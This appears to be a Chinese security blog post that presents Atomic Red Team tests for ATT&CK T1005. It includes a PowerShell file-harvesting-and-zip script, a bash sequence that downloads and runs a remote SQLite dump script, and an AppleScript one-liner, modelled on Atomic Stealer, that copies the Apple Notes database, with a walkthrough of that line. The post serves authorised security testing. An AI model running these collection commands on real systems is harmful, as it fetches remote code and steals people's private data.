本文章为Atomic Red Team系列文章,本篇文章内容为T1005-从本地获取数据。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
来自ATT&CK的描述
攻击者可能会搜索本地系统资源,如文件系统、配置文件或本地数据库,以便在数据渗出之前找到感兴趣的文件和敏感数据。
攻击者可能会使用命令和脚本解释器(在新标签页中打开),例如cmd
(在新标签页中打开),以及网络设备命令行界面(在新标签页中打开)来实现这一目的,这些工具具备与文件系统交互以收集信息的功能。(引用:show_run_config_cmd_cisco)攻击者也可能在本地系统上使用自动收集工具。
原子测试
-
原子测试#1 - 搜索感兴趣的文件并将其保存到单个zip文件中(Windows) -
原子测试#2 - 查找并转储SQLite数据库(Linux) -
原子测试#3 - 使用AppleScript复制苹果笔记数据库文件
原子测试#1 - 搜索感兴趣的文件并将其保存到单个zip文件中(Windows)
此测试会搜索具有特定扩展名的文件,并在提取之前将它们保存到单个zip文件中。
- 支持的平台
Windows - 自动生成的GUID
d3d9af44 - b8ad - 4375 - 8b0a - 4bff4b7e419c - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 powershell
运行!
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
FunctionSearch-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZipdata.zip"
Write-Host "Zip file created: $outputZipdata.zip"
} else {
Write-Host "No files found with the specified extensions."
}
- 清理命令
Remove-Item -Path $outputZipdata.zip -Force
原子测试#2 - 查找并转储SQLite数据库(Linux)
攻击者可能知道或假设系统用户使用的SQLite数据库中包含感兴趣的敏感数据。在此测试中,我们将下载两个数据库和一个SQLite转储脚本,然后运行find
命令来查找并转储数据库内容。
- 支持的平台
:Linux - 自动生成的GUID
:00cbb875 - 7ae4 - 4cf1 - b638 - e543fd825300 - 输入参数
:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 bash
运行!
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' ;
- 清理命令
rm -f $HOME/.art
rm -f $HOME/gta.db
rm -f $HOME/sqlite_dump.sh
- 依赖项
使用 bash
运行! - 描述
检查是否在基于Debian的机器上运行。 - 检查先决条件命令
if [ -x "$(command -v sqlite3)" ]; then echo "sqlite3 is installed"; else echo "sqlite3 is NOT installed"; exit 1; fi
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
if [ -x "$(command -v strings)" ]; then echo "strings is installed"; else echo "strings is NOT installed"; exit 1; fi
- 获取先决条件命令
if grep -iq "debian|ubuntu|kali|mint" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fi
if grep -iq "rhel|fedora|centos" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi
原子测试#3 - 使用AppleScript复制苹果笔记数据库文件
此命令将使用AppleScript复制苹果笔记数据库文件,就像在Atomic Stealer中看到的那样。
- 支持的平台
macOS - 自动生成的GUID
cfb6d400 - a269 - 4c06 - a347 - 6d88d584d5f7 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 sh
运行!
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
- 清理命令
rm "#{destination_path}/NoteStore.sqlite*"
这行命令使用 osascript
工具来执行 AppleScript 代码,其主要目的是将 macOS 系统中 Notes 应用的数据文件复制到指定的目标文件夹。下面来详细分析这行命令的各个部分:
上述命令整体概述
osascript
是 macOS 系统里用于执行 AppleScript 脚本的命令行工具。而 -e
选项的作用是传递要执行的 AppleScript 代码片段。这行命令把多个 -e
选项组合起来,构建出一个完整的 AppleScript 脚本。
各部分详细分析
1. osascript -e 'tell application "Finder"'
osascript
启动 AppleScript 解释器。 -e
用于传递 AppleScript 代码片段。 tell application "Finder"
这是 AppleScript 里的一种语法结构,意思是接下来的命令会向 Finder 应用程序发送,以此来操控 Finder 的功能。
2. -e 'set destinationFolderPath to POSIX file "#{destination_path}"'
set ... to
AppleScript 里用于变量赋值的语句。 destinationFolderPath
自定义的变量,用来存储目标文件夹的路径。 POSIX file "#{destination_path}"
把 #{destination_path}
当作占位符,实际使用时要替换成具体的 POSIX 格式路径。POSIX file
用于将 POSIX 路径转换为 AppleScript 可以处理的文件对象。
3. -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"'
path to home folder as text
获取当前用户主目录的路径,并将其转换为文本格式。 &
在 AppleScript 中是字符串连接运算符。 "Library:Group Containers:group.com.apple.notes:"
表示 Notes 应用的数据文件夹路径,该路径采用的是 HFS 路径格式(用冒号分隔)。 -
整体上, notesFolderPath
变量存储的是 Notes 应用数据文件夹的完整路径。
4. -e 'set notesFolder to folder notesFolderPath'
folder notesFolderPath
将 notesFolderPath
对应的路径转换为 Finder 可以处理的文件夹对象,然后赋值给notesFolder
变量。
5. -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder'
{...}
在 AppleScript 中用于创建列表。 file "NoteStore.sqlite"、
file "NoteStore.sqlite-shm"
、file "NoteStore.sqlite-wal"
:分别代表 Notes 应用的数据文件,是 SQLite 数据库文件及其相关的辅助文件。of notesFolder
表明这些文件位于 notesFolder
文件夹中。-
整体而言, notesFiles
变量存储的是一个包含这三个文件对象的列表。
6. -e 'repeat with aFile in notesFiles'
repeat with ... in ...
AppleScript 里的循环语句,其作用是对 notesFiles
列表中的每个文件对象进行迭代操作。aFile
循环变量,代表当前正在处理的文件对象。
7. -e 'duplicate aFile to folder destinationFolderPath with replacing'
duplicate ... to ...
这是 Finder 的一个命令,用于将文件复制到指定的目标文件夹。 with replacing
表示若目标文件夹中已经存在同名文件,会进行覆盖替换。
8. -e 'end'
-
用于结束 repeat
循环。
9. -e 'end tell'
-
用于结束 tell application "Finder"
块,表明与 Finder 应用程序的交互结束。
总结
这行命令的主要功能是把 macOS 系统中 Notes 应用的数据文件(NoteStore.sqlite
、NoteStore.sqlite - shm
和 NoteStore.sqlite - wal
)复制到指定的目标文件夹。需要注意的是,#{destination_path}
是一个占位符,在实际使用时要替换成具体的目标文件夹路径。
原文始发于微信公众号(网空安全手札):T1005 - 从本地系统获取数据
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论